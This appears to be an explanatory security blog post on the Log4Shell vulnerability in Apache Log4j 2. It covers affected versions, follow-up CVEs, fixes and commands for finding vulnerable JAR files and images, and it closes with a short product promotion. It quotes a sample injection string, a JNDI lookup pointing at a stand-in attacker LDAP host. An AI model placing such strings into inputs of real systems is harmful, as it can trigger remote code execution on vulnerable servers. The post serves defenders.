Log4Shell (CVE-2021-44228): what happened and how to check for it today
In December 2021 a bug in Apache Log4j 2, the most common logging library for Java, let anyone who could get a string into a log message run code on the server. It was rated 10.0, added to the CISA KEV catalog on the day the CVE was published, and is still scanned for today.
What broke
Log4j 2 had a feature called lookups: text such as ${java:version} or ${env:USER} inside a log message was replaced with a value at the time of logging. One lookup type was JNDI, the Java naming and directory interface, which can fetch objects from an LDAP server. JNDI could load and run a Java class from a remote server.
So a log line like this was enough:
${jndi:ldap://attacker.example/a}
If an application logged a value an attacker controlled, such as a User-Agent header, a user name or a chat message, Log4j resolved the lookup, contacted the attacker LDAP server and could load code from it. The CVE record puts it this way: "An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled."
Who was affected
Any Java application that used log4j-core from 2.0-beta9 through 2.15.0 and logged untrusted input, except the security releases 2.3.1, 2.12.2 and 2.12.3. Version 2.15.0 disabled the behaviour by default; the CVE record still lists it as affected because its fix was incomplete in some non-default configurations (CVE-2021-45046). Only the log4j-core JAR was affected; applications with log4j-api alone, and log4net, log4cxx and other Apache logging projects, were not.
Log4j is often a transitive dependency, pulled in by a framework, an application server or a vendor product. Many people learned only through Log4Shell that they ran it. Cisco, Oracle, NetApp, Siemens, SonicWall and Intel, among many others, published advisories for their own products.
The follow-up CVEs
The first fix was not the last one. Within three weeks Apache published three more CVEs:
| CVE | Problem | Fixed in (Java 8+, Java 7, Java 6) | CVSS |
|---|---|---|---|
| CVE-2021-44228 | JNDI lookups in messages run remote code | 2.15.0, 2.12.2, 2.3.1 | 10.0 |
| CVE-2021-45046 | the 2.15.0 fix was incomplete for non-default pattern layouts with context lookups | 2.16.0, 2.12.2, 2.3.1 | 9.0 (CISA) |
| CVE-2021-45105 | self-referential lookups cause uncontrolled recursion (denial of service) | 2.17.0, 2.12.3, 2.3.1 | 5.9 (CISA) |
| CVE-2021-44832 | remote code with a JDBC appender when the attacker controls the configuration | 2.17.1, 2.12.4, 2.3.2 | 6.6 (CISA) |
The safe floor is therefore 2.17.1 for Java 8 and later, 2.12.4 for Java 7 and 2.3.2 for Java 6. Use the newest 2.x release when you can.
CVE-2021-45046 is on the KEV list too, added on 2023-05-01. Both KEV entries are marked as used by ransomware groups.
Log4j 1.x is a different story. It reached end of life in 2015. It does not have lookups, so it is not vulnerable to Log4Shell. It is affected when the configuration uses JMSAppender (CVE-2021-4104), and it does not get security fixes any more. Applications still on 1.x should move to Log4j 2 or another logger.
How to check a server today
Packages. On Debian and Ubuntu the library is packaged as liblog4j2-java:
dpkg-query -W liblog4j2-java 2>/dev/null
Most Java applications bring their own copy, so the package check is not enough.
JAR files on disk. Search by file name, then inside archives, because Spring Boot and other fat JARs nest the library inside the application JAR:
sudo find / -xdev -name 'log4j-core-*.jar' 2>/dev/null
sudo find / -xdev \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null |
while read -r f; do
unzip -Z1 "$f" 2>/dev/null | grep -E 'JndiLookup\.class$|log4j-core-[^/]*\.jar$' | sed "s|^|$f: |"
done
Example output on a test tree:
/opt/app/lib/log4j-core-2.14.1.jar: org/apache/logging/log4j/core/lookup/JndiLookup.class
/opt/app/app.jar: BOOT-INF/lib/log4j-core-2.14.1.jar
A JndiLookup.class alone does not mean the copy is vulnerable: fixed versions still contain the class. Check the version in the file name or in META-INF/MANIFEST.MF. The -xdev flag keeps find on one file system; repeat it for other mounts where applications live.
Container images. The command above does not look inside images. Scan them with a scanner that reads Java archives, for example Trivy:
trivy image --scanners vuln --severity CRITICAL,HIGH registry.example.com/app:1.4
Trivy reads JAR, WAR and EAR files, including nested ones, and reports log4j-core with its version.
How it was fixed
Log4j 2.15.0 disabled message lookups by default. 2.16.0 removed message lookups and turned JNDI off by default. 2.17.0 fixed the recursion, and 2.17.1 limited JNDI data source names in the JDBC appender to the java protocol. For vendor products, the fix came as product updates over the following weeks and months, which is why KEV still matters for this CVE.
What to take from it
- Know your dependencies. An SBOM of each application and image answers "do we run log4j-core, which version, where?" in minutes instead of days.
- Expect follow-ups. A widely studied fix attracts more research. Plan to patch the same library more than once in the weeks after a big disclosure.
- Limit outbound traffic. The public exploit needed the server to connect out to an LDAP server on the internet. A server that can only reach the hosts it needs blocks this class of attack, even before a patch.
- Treat log input as untrusted. Data that is "only logged" still passes through code.
On a server with a vulnerable copy, assume it was scanned. Follow the steps in what to do when a KEV CVE hits you, including the check for signs of compromise.
Sources
- CVE records: CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 (affected and fixed versions, CVSS, CWE, references)
- Apache Log4j security vulnerabilities (log4j-api not affected, Log4j 1 end of life and CVE-2021-4104, credits)
- CISA KEV catalog, version 2026.11.25 (dates added, ransomware use)
- GitHub advisory GHSA-jfh8-c2jp-5v3q
- Trivy: Java scanning
- Search commands tested in a
debian:bookworm-20261027-slimcontainer on 2026-11-26 with a test file tree
Check your servers every day
The agent of Patchbrief reports the packages and settings of a server once a day; the digest names what to fix first.